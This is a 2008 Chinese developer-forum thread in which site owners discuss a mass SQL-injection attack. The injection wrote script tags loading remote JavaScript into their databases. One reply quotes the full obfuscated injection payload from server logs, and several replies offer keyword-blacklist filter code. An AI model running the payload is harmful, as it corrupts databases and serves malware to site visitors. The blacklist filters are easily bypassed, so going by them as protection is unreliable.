紧急求助,MSSQL数据库被大量插入"> 2008-05-10 04:16:20

五一假期回来,突然发现我的两个网站(一个是ASP.NET 1.1,一个是ASP.NET 2.0)的数据库(一个是MS SQL 2000,一个是MS SQL 2005)某些表的某些文本字段所有数据记录都被截掉剩留几个文字,并被附加上了如下略有变化的文本字符:
"></title><script src=http://s.see9.us/s.js></script><!--
"></title><script""></title><script src=http://s.see9.us/s.js></script><!--
"></title><script s"></title><script src=http://s.see9.us/s.js></script><!--
"></title><script src=ht"></title><script src=http://s.see9.us/s.js></script><!--
"></title><sc"></title><script src=http://s.see9.us/s.js></script><!--
"></title><script src=http://s"></title><script src=http://s.see9.us/s.js></script><!--

最后一行是空白数据的时候,插入的字符就会重复一些,显得特别长。

无论我通过update方法清空多少次,如果我不停止IIS里的站点,很快就会重新大量出现,不像是人工所为,应该是服务器中了什么木马病毒之类的,不知有没有什么杀毒软件可以查杀这些病毒的?
我浏览了下论坛里的ASP.NET板块和MS SQL数据库板块的帖子,发现有相当部分反应这个问题的帖子,几乎都是五一期间发生的,但都没发现有一个彻底有效的解决方法的。

急需各位高手的大力帮助,最好大家能够发动强大的人肉搜索,揪出那些极度无聊的攻击者,种马者,拖出大街鞭打JJ一遍又一遍!!谢谢!
...全文
7332 68 打赏 收藏 转发到动态 举报
写回复
用AI写文章
68 条回复
切换为时间正序
请发表友善的回复…
发表回复
comrdliyang 2011-03-09
  • 打赏
  • 举报
回复
小草生光辉 2010-04-25
  • 打赏
  • 举报
回复
今天我也遇到相关的问题了,用到以上方法了希望能有用!
xzwhdpu 2009-01-18
  • 打赏
  • 举报
回复
楼上几位关键词过滤貌似不行哦
加了n多关键词也没封掉

后来用了URLScan
加了0x还是没解决

查iis貌似所有的declare、cast等长语句攻击全被阻挡住了
可是数据库里还是出现了script

我已经中毒有1个多月了
网站基本半死不活。。。
ruirui521 2008-06-03
  • 打赏
  • 举报
回复
典型的sql injection。
不是服务器问题,是你的网站程序设计问题。

例如http://abcd/abc.aspx?id=6

你获得了6以后,多验证一下就没事了。

例如,如果我http://abcd/abc.aspx?id=6;declare @pos=lll delete from yourtable.---
你的系统弱的话就over了。

如果你的数据层不是用诸如拼接sql字符串也不会有事情。

在.net里,你可以在httpmodule里在获得请求之前来统一验证querystring.
gelaninwind 2008-06-03
  • 打赏
  • 举报
回复
问个弱弱的问题,这段代码的过滤,区分大小写吗?

[Quote=引用 60 楼 jhwcd 的回复:]
加上SQL注入过滤代码,以前我也遇到过,再上以后就再也没有被注入过了!
我的过滤代码如下:
'过滤SQL非法字符并格式化html代码

VBScript codefunction Replace_Text(fString)
Dim sqlIn,sqlinstr
if isnull(fString) then
Replace_Text=""
exit function
Else
sqlIn = "and|and%20|exec|insert|select|delete|update|count|chr|mid|master|truncate|char|declare|or%20"
sqlinstr=Split(sqlIn,"|")
For m=0 To …
[/Quote]
gelaninwind 2008-06-03
  • 打赏
  • 举报
回复
问个弱弱的问题,这段代码的过滤,区分大小写吗?

[Quote=引用 60 楼 jhwcd 的回复:]
加上SQL注入过滤代码,以前我也遇到过,再上以后就再也没有被注入过了!
我的过滤代码如下:
'过滤SQL非法字符并格式化html代码

VBScript codefunction Replace_Text(fString)
Dim sqlIn,sqlinstr
if isnull(fString) then
Replace_Text=""
exit function
Else
sqlIn = "and|and%20|exec|insert|select|delete|update|count|chr|mid|master|truncate|char|declare|or%20"
sqlinstr=Split(sqlIn,"|")
For m=0 To …
[/Quote]
peangwei 2008-06-03
  • 打赏
  • 举报
回复
网站程序问题,写过函数过滤掉如select,delete,and,update,where,dEcLaRe,count,insert等字符串,在使用SQL语句前先用函数检测一次变量,如果变量未通过,提示含有非常字符.如下:
函数:
public bool CheckStr(string strSql)
{
if (strSql == null)
return true;
string[] ResStr ={ "SELECT", "DELETE", "UPDATE", "WHERE", "INSERT", "ALTER", "FETCH", "ALLOCATE" };
strSql = strSql.ToUpper();
for (int j=0;j<8;j++)
{
if (strSql.IndexOf(ResStr[j]) >= 0)
return false;
}
return true;
}

调用部分:
string CodeStr = Session["CPUBID_ItemType"].ToString();
if (!CheckStr(CodeStr))
{
Response.Write("<script> alert('含有非法字符!');history.back();</script>");
return;
}
spgoal 2008-06-02
  • 打赏
  • 举报
回复
更改网站连接数据库的用户为普通级别用户,对网站数据库拥有public角色,然后修改这个角色sysobjects和syscolumns的select权限为禁止,我通过这个操作后暂时一天没有被注入了,明天继续观察
jhwcd 2008-05-30
  • 打赏
  • 举报
回复
加上SQL注入过滤代码,以前我也遇到过,再上以后就再也没有被注入过了!
我的过滤代码如下:
'过滤SQL非法字符并格式化html代码
function Replace_Text(fString)
Dim sqlIn,sqlinstr
if isnull(fString) then
Replace_Text=""
exit function
Else
sqlIn = "and|and%20|exec|insert|select|delete|update|count|chr|mid|master|truncate|char|declare|or%20"
sqlinstr=Split(sqlIn,"|")
For m=0 To ubound(sqlinstr)
If InStr(LCase(fString),sqlinstr(m))>0 Then
fString=lcase(trim(fString))
End If
Next

fString=replace(fString,"'","‘")
fString=replace(fString,";",";")
fString=replace(fString,"--","—")
fString=replace(fString,"and","")
fString=replace(fString,"exec","")
fString=replace(fString,"insert","")
fString=replace(fString,"select","")
fString=replace(fString,"delete","")
fString=replace(fString,"update","")
fString=replace(fString,"and","")
fString=replace(fString,"*","")
fString=replace(fString,"chr","")
fString=replace(fString,"mid","")
fString=replace(fString,"master","")
fString=replace(fString,"truncate","")
fString=replace(fString,"char","")
fString=replace(fString,"declare","")
fString=replace(fString,"create","")
fString=server.htmlencode(fString)
fString=replace(fString,"<sup><small>","<sup><small>")
fString=replace(fString,"</small></sup>","</small></sup>")
fString=replace(fString,"<sub><small>","<sub><small>")
fString=replace(fString,"</small></sub>","</small></sub>")
Replace_Text=fString
end if
end function
yjxp 2008-05-30
  • 打赏
  • 举报
回复
刚才检查IIS日志文件,查找关键词“declare”,发现出现很多次下面的注入代码:
dEcLaRe%20@t%20vArChAr(255),@c%20vArChAr(255)%20dEcLaRe%20tAbLe_cursoR%20cUrSoR%20FoR%20sElEcT%20a.nAmE,b.nAmE%20FrOm%20sYsObJeCtS%20a,sYsCoLuMnS%20b%20wHeRe%20a.iD=b.iD%20AnD%20a.xTyPe='u'%20AnD%20(b.xTyPe=99%20oR%20b.xTyPe=35%20oR%20b.xTyPe=231%20oR%20b.xTyPe=167)%20oPeN%20tAbLe_cursoR%20fEtCh%20next%20FrOm%20tAbLe_cursoR%20iNtO%20@t,@c%20while(@@fEtCh_status=0)%20bEgIn%20exec('UpDaTe%20['%2b@t%2b']%20sEt%20['%2b@c%2b']=rtrim(convert(varchar,['%2b@c%2b']))%2bcAsT(0x223E3C2F7469746C653E3C736372697074207372633D687474703A2F2F732E736565392E75732F732E6A733E3C2F7363726970743E3C212D2D%20aS%20vArChAr(67))')%20fEtCh%20next%20FrOm%20tAbLe_cursoR%20iNtO%20@t,@c%20eNd%20cLoSe%20tAbLe_cursoR%20dEAlLoCaTe%20tAbLe_cursoR;

是什么代码?
boigel 2008-05-30
  • 打赏
  • 举报
回复
关注。留个记号
pingtou1984 2008-05-30
  • 打赏
  • 举报
回复
http://topic.csdn.net/u/20080507/01/104b1a11-69b5-44d2-a873-caaea34e7c41.html请大家看这个帖子。。注意发帖的人。。。
aroundtibet 2008-05-27
  • 打赏
  • 举报
回复
加上以下ASP代码:
<%
Dim Fy_Post,Fy_Get,Fy_In1,Fy_In2,Fy_Inf,Fy_Xh,Fy_db,Fy_dbstr
Fy_In1 = "'|;|exec|insert|select|delete|update|count|*|%|chr|mid|truncate|char|declare|drop"
Fy_In2 = "'|;|exec|insert|select|delete|update|count|*|%|chr|mid|truncate|char|declare|drop"
Fy_Inf1 = split(Fy_In1,"|")
If Request.Form<>"" Then
For Each Fy_Post In Request.Form
For Fy_Xh=0 To Ubound(Fy_Inf1)
thepost=Lcase(Request.Form(Fy_Post))
thepost=replace(thepost,"%","%")
thepost=replace(thepost,"*","*")
thepost=replace(thepost,";",";")
If Instr(thepost,Fy_Inf1(Fy_Xh))<>0 Then
Response.Write "<Script Language=JavaScript>alert('\n\n请不要在参数中包含非法字符尝试注入!\n\nSQL防注入系统提示!');</Script>"
Response.End
End If
Next

Next
End If
Fy_Inf2 = split(Fy_In2,"|")
If Request.QueryString<>"" Then
For Each Fy_Get In Request.QueryString
For Fy_Xh=0 To Ubound(Fy_Inf2)
theget=Lcase(Request.QueryString(Fy_Get))
theget=replace(theget,"'","“")
If Instr(theget,Fy_Inf2(Fy_Xh))<>0 Then
Response.Write "<Script Language=JavaScript>alert('|SQL通用防注入系统提示↓\n\n请不要在参数中包含非法字符尝试注入!\n\nSQL通用防注入系统提示!');</Script>"
Response.End
End If
Next
Next
End If
%>
chenhaoying 2008-05-27
  • 打赏
  • 举报
回复
[Quote=引用 44 楼 billgates130 的回复:]
解决办法在 http://blog.mdcsoft.cn/archives/200805/46.html
[/Quote]
ping这个ip是221.130.189.133和攻击我的那个ip221.130.187.233差不多,刚开始我以为他们是一家的呢。
  • 打赏
  • 举报
回复
你可以到网上搜索一个叫“明小子”的黑客软件,可以扫描一些注入漏洞
还有就是过滤get和post时关于sql敏感关键字。

最好把你的整站进行url重写成静态网页
海盗之爷 2008-05-21
  • 打赏
  • 举报
回复
不可以的,这样也不行的,还有你判断提交url是否长度异常也不会有作用的.
chenlin97 2008-05-21
  • 打赏
  • 举报
回复
楼上试验过?给我反馈的网友是可以的。
不行,为什么不行呢? 大家欢迎你有更高的见解。

作为一个研究技术的人,利益无可厚非。
但是不要拿贫民百姓开刀,很多人在这里就混口饭吃而已。
牛b的人去攻击微软,CNN。
chenlin97 2008-05-20
  • 打赏
  • 举报
回复
提供一个简单解决办法,判断提交url是否长度异常。
希望有大牛彻底解决这个问题。
强烈鄙视一下http://blog.mdcsoft.cn/archives/200805/46.html收钱解决的办法,怀疑是不是这个人到处搞鬼。
虽然付出劳动需要收获,但是这种行为个人以为很受鄙视。

function GetUrl()
On Error Resume Next
Dim strTemp
If LCase(Request.ServerVariables("HTTPS")) = "off" Then
strTemp = "http://"
Else
strTemp = "https://"
End If
strTemp = strTemp & Request.ServerVariables("SERVER_NAME")
If Request.ServerVariables("SERVER_PORT") <> 80 Then strTemp = strTemp & ":" & Request.ServerVariables("SERVER_PORT")
strTemp = strTemp & Request.ServerVariables("URL")
If Trim(Request.QueryString) <> "" Then strTemp = strTemp & "?" & Trim(Request.QueryString)
GetUrl = strTemp
End Function
if len(GetUrl() )>80 then
Response.Write "你的提交非法。"
response.end
bsulg 2008-05-19
  • 打赏
  • 举报
回复
上面QQ群人数已满.

请加2群:37845460
jixiang1022 2008-05-19
  • 打赏
  • 举报
回复
问题跟楼主一摸一样..期待解决
加载更多回复(48)

22,210

社区成员

发帖
与我相关
我的任务
社区描述
MS-SQL Server 疑难问题
社区管理员
  • 疑难问题社区
  • 尘觉
加入社区
  • 近7日
  • 近30日
  • 至今
社区公告
暂无公告

试试用AI创作助手写篇文章吧